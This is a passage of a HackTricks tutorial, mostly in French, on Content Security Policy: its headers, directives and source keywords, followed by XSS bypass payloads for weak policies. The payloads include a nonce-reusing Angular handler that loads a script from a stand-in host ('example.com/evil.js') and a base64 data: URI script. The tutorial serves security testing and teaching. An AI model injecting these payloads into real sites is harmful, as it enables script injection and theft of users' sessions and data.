Content Security Policy (CSP) Bypass
Reading time: 35 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Qu'est-ce que le CSP
Content Security Policy (CSP) est reconnue comme une technologie de navigateur, principalement destinĂ©e Ă protĂ©ger contre des attaques telles que le cross-site scripting (XSS). Elle fonctionne en dĂ©finissant et en prĂ©cisant les chemins et les sources depuis lesquels le navigateur peut charger des ressources en toute sĂ©curitĂ©. Ces ressources couvrent divers Ă©lĂ©ments tels que des images, des frames et du JavaScript. Par exemple, une politique peut autoriser le chargement et l'exĂ©cution de ressources depuis le mĂȘme domaine (self), y compris des ressources inline et l'exĂ©cution de code sous forme de chaĂźne via des fonctions comme eval
, setTimeout
ou setInterval
.
La mise en Ćuvre de CSP se fait via les entĂȘtes de rĂ©ponse ou en incorporant des balises meta dans la page HTML. ConformĂ©ment Ă cette politique, les navigateurs appliquent ces rĂšgles de maniĂšre proactive et bloquent immĂ©diatement toute violation dĂ©tectĂ©e.
- ImplĂ©mentĂ© via l'en-tĂȘte de rĂ©ponse:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Implémenté via la balise meta:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Headers
Le CSP peut ĂȘtre appliquĂ© ou surveillĂ© en utilisant ces en-tĂȘtes :
Content-Security-Policy
: Applique la CSP ; le navigateur bloque toute violation.Content-Security-Policy-Report-Only
: Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests en environnements de pré-production.
Définition des ressources
CSP restreint les origines pour le chargement du contenu actif et passif, contrÎlant des aspects comme l'exécution de JavaScript inline et l'utilisation de eval()
. Un exemple de politique est :
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Directives
- script-src: Autorise des sources spécifiques pour JavaScript, y compris les URL, les scripts inline et les scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT.
- default-src: Définit une politique par défaut pour la récupération des ressources lorsque des directives de récupération spécifiques sont absentes.
- child-src: Spécifie les ressources autorisées pour les web workers et le contenu des frames intégrées.
- connect-src: Restreint les URL pouvant ĂȘtre chargĂ©es via des interfaces comme fetch, WebSocket, XMLHttpRequest.
- frame-src: Restreint les URL pour les frames.
- frame-ancestors: Spécifie quelles sources peuvent intégrer la page actuelle, applicable aux éléments comme
<frame>
,<iframe>
,<object>
,<embed>
, et<applet>
. - img-src: Définit les sources autorisées pour les images.
- font-src: Spécifie les sources valides pour les polices chargées via
@font-face
. - manifest-src: Définit les sources autorisées des fichiers manifeste d'application.
- media-src: Définit les sources autorisées pour le chargement d'éléments média.
- object-src: Définit les sources autorisées pour les éléments
<object>
,<embed>
, et<applet>
. - base-uri: Spécifie les URL autorisées pour le chargement via l'élément
<base>
. - form-action: Liste les points de terminaison valides pour la soumission de formulaires.
- plugin-types: Restreint les types MIME que la page peut invoquer.
- upgrade-insecure-requests: Indique aux navigateurs de réécrire les URL HTTP en HTTPS.
- sandbox: Applique des restrictions similaires Ă l'attribut sandbox d'un
<iframe>
. - report-to: Spécifie un groupe vers lequel un rapport sera envoyé si la politique est violée.
- worker-src: Spécifie les sources valides pour les scripts Worker, SharedWorker ou ServiceWorker.
- prefetch-src: Spécifie les sources valides pour les ressources qui seront récupérées ou préchargées.
- navigate-to: Restreint les URL vers lesquelles un document peut naviguer par n'importe quel moyen (a, form, window.location, window.open, etc.)
Sources
*
: Autorise toutes les URL sauf celles avec les schémasdata:
,blob:
,filesystem:
.'self'
: Autorise le chargement depuis le mĂȘme domaine.'data'
: Autorise le chargement de ressources via le schéma data (par ex., images encodées en Base64).'none'
: Bloque le chargement depuis toute source.'unsafe-eval'
: Autorise l'utilisation deeval()
et méthodes similaires, déconseillé pour des raisons de sécurité.'unsafe-hashes'
: Active des gestionnaires d'événements inline spécifiques.'unsafe-inline'
: Autorise l'utilisation de ressources inline comme<script>
ou<style>
, déconseillé pour des raisons de sécurité.'nonce'
: Une liste blanche pour des scripts inline spécifiques utilisant un nonce cryptographique (nombre utilisé une fois).- If you have JS limited execution it's possible to get a used nonce inside the page with
doc.defaultView.top.document.querySelector("[nonce]")
and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
Charger un script en réutilisant le nonce
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
'sha256-<hash>'
: Met sur liste blanche les scripts avec un hash sha256 spécifique.'strict-dynamic'
: Permet le chargement de scripts depuis n'importe quelle source si celle-ci a été mise sur liste blanche via un nonce ou un hash.'host'
: Spécifie un hÎte précis, par exempleexample.com
.https:
: Restreint les URLs Ă celles utilisant HTTPS.blob:
: Permet le chargement de ressources depuis des Blob URLs (par ex., des Blob URLs créées via JavaScript).filesystem:
: Permet le chargement de ressources depuis le systĂšme de fichiers.'report-sample'
: Inclut un extrait du code en infraction dans le rapport de violation (utile pour le débogage).'strict-origin'
: Similaire à 'self' mais s'assure que le niveau de sécurité du protocole des sources correspond à celui du document (seules les origines sécurisées peuvent charger des ressources depuis des origines sécurisées).'strict-origin-when-cross-origin'
: Envoie des URLs complĂštes pour les requĂȘtes same-origin mais n'envoie que l'origine lorsque la requĂȘte est cross-origin.'unsafe-allow-redirects'
: Permet le chargement de ressources qui redirigeront immédiatement vers une autre ressource. à déconseiller car cela affaiblit la sécurité.
RĂšgles CSP dangereuses
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Payload fonctionnel: "/><script>alert(1);</script>
self + 'unsafe-inline' via Iframes
CSP bypass: self + 'unsafe-inline' with Iframes
'unsafe-eval'
caution
Cela ne fonctionne pas. Pour plus d'informations, consultez ceci.
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Payload fonctionnel :
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Si vous parvenez, d'une maniÚre ou d'une autre, à faire en sorte qu'un code JS autorisé crée une nouvelle balise dans le DOM avec votre code JS, parce qu'un script autorisé la crée, la nouvelle balise